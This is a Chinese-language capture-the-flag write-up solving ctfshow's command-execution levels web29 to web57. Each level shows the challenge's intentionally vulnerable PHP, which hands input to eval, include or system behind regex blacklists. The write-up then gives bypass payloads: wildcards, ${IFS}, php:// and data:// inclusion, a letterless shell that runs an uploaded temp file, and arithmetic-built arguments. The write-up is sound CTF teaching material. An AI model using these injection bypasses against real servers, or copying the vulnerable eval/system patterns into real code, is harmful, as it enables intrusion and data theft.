ctfshow WEB入门 命令执行 web29-web57


web29:

if(isset($_GET['c'])){   
$c = $_GET['c'];   
    if(!preg_match("/flag/i", $c)){      
        eval($c);   
    }   
}   
else{  
    highlight_file(__FILE__);   
}

利用函数:eval()

绕过思路:通配符绕过flag过滤

Payload1:/?c=system(“ls”); #找到flag.php

Payload2:/?c=system(“cat fla*”);

web30

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函数:eval()

绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。

Payload1:?c=echo `cat *`;

web31

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函数:eval()

绕过思路:过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被过滤了换成tac。

Payload1:?c=echo `tac%09*`;

web32

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}

利用函数:eval()

绕过思路:过滤了system,echo,这里可以使用passthru,但是这次还过滤了括号,所以passthru也没有办法用,这里使用文件包含,通过php://filter协议进行读取文件。

Payload1: c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web32-web36

payload相同,不再赘述。

web37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}

利用函数:include()

绕过思路:文件包含常用攻击手法,伪协议读取文件内容

Payload1: ?c=data:text/plain,<?=system("tac fla*");?>

web37-web39

相同payload

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}

利用函数:eval()

绕过思路:过滤了数字和许多东西,但是没有过滤掉英文的括号。

print_r(scandir(‘.’)); 查看当前目录下的所有文件名 ,开始构造。
localeconv() 函数返回一包含本地数字及货币格式信息的数组,第一个值为”.”。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名 ,读取目录文件后,发现输出的是数组,而文件名是数组中的值,下一步我们需要取出想要读取文件的数组.
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组
需要知识点齐了,观察flag.php在倒数第二位,我们开始构造。#current(localeconv()) == getcwd()

Payload1: ?c=print_r(scandir(current(localeconv()))); #打印当前目录下的文件

Payload2:?c=show_source(next(array_reverse(scandir(getcwd()))));

web41

if(isset($_POST['c'])){
  $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
    eval("echo($c);");
  }
}

利用函数:echo

绕过思路:把数字和字母都给过滤了,这里的思路是构造system(“ls”),但是字母被过滤。没有过滤“|”,利用它构造。

Payload1: 脚本参考yu师傅

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,我们通过“;”进行截断,回显出flag.

Payload1: ls;

Payload2: cat flag.php;

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断。

Payload1: ls||

Payload2: tac flag.php||

web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,又多过滤了flag,用通配符绕过。

Payload1: ls||

Payload2: tac fla*||

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%09绕过。

Payload1: ls||

Payload2: tac%09fla*||

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%09绕过。过滤了*,用“?”代替。

Payload1: ls||

Payload2: tac%09fla?.php||

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%09绕过。过滤了*,用“?”代替。又多过滤了几个读取文件的命令,继续使用上题的payload,tac没有过滤。

Payload1: ls||

Payload2: tac%09fla?.php||

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

继续使用上题payload.

web49

继续使用上题payload

web50

如上

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%被过滤,%09无法绕过,使用<>进行绕过。过滤了*,用“?”代替,但是读不出来,使用“\”绕过。又多过滤了几个读取文件的命令,tac也给过滤了,我们使用nl或者ta\c进行绕过。

Payload1: ls||

Payload2: ta\c<>fla\g.php||

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

利用函数:system()

绕过思路:这里是通过”>/dev/null 2>&1”把输出的内容不进行回显,“;”也被过滤了,我们使用命令分隔符“||”进行截断,过滤了flag,用通配符绕过,多过滤了空格,%被过滤,%09无法绕过,<>也被过滤了无法进行绕过,使用${IFS}绕过。过滤了*,用“?”代替,但是读不出来,使用“\”绕过。又多过滤了几个读取文件的命令,tac也给过滤了,我们使用nl或者ta\c进行绕过。

Payload1: ls||

Payload2: ?c=ta\c${IFS}../../../fla?||

web53

同上,不用||截断了

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}

利用函数:system()

绕过思路:过滤了flag,用通配符绕过,多过滤了空格,%被过滤,%09无法绕过,<>也被过滤了无法进行绕过,使用${IFS}绕过。过滤了*,用“?”代替。又多过滤了几个读取文件的命令,tac也给过滤了,无法使用ta\c进行过滤了。所以这里我们使用grep.在flag.php中查找带有show字符串的一行(因为flag的格式为ctfshow{})

Payload1: ?c=grep${IFS}show${IFS}fl?g.php

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}

利用函数:system()

绕过思路:这里没有禁用数字所以我们可以使用base64命令

Payload1: ?c=/???/????64 ????.???

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}

利用函数:system()

绕过思路:无字母数字webshell。在linux shell中,.可以用当前的shell执行一个文件中的命令,比如.file就是执行file文件中的命令。所以本题可以post上传一个包含命令的文件,然后通过.来执行文件中的命令即可读到flag。

但有个问题,怎么去找到我们上传的文件呢?
当我们post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。想当然的我们会用/???/?????????去匹配这个文件。
这里又会出现一个问题:符合这样的文件有好几个,这样其实匹配不到刚刚上传的文件。
翻阅p神文章可以知道,与正则表达式类似,glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位@,把Z改为Z的后一位[来匹配大写字母。
那么最终payload为c=. /???/????????[@-[]
这里说下为什么要匹配大写字母,因为其实用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母,不过因为是随机生成的大写字母,不一定每次都是大写,可以多试几下。
分析完毕,接下来开始操作

首先上传一个文件,脚本如下

<!DOCTYPE html>
<html>
<body>
<form action="http://d5fb2a5e-8342-4737-805f-0538c243b172.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

bp抓包,改参数,如下图:

web57

/flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}

利用函数:system()

绕过思路:过滤了通配符,无法进行无数字字母webshell,system中已经写好cat和php,所以我们只需要构造出36即可。在shell中可以利用$和()进行构造数字,详情见python脚本。

Payload1: 见python脚本

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
如果说要构造36,在相应位置输入37,即可构造出36.


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM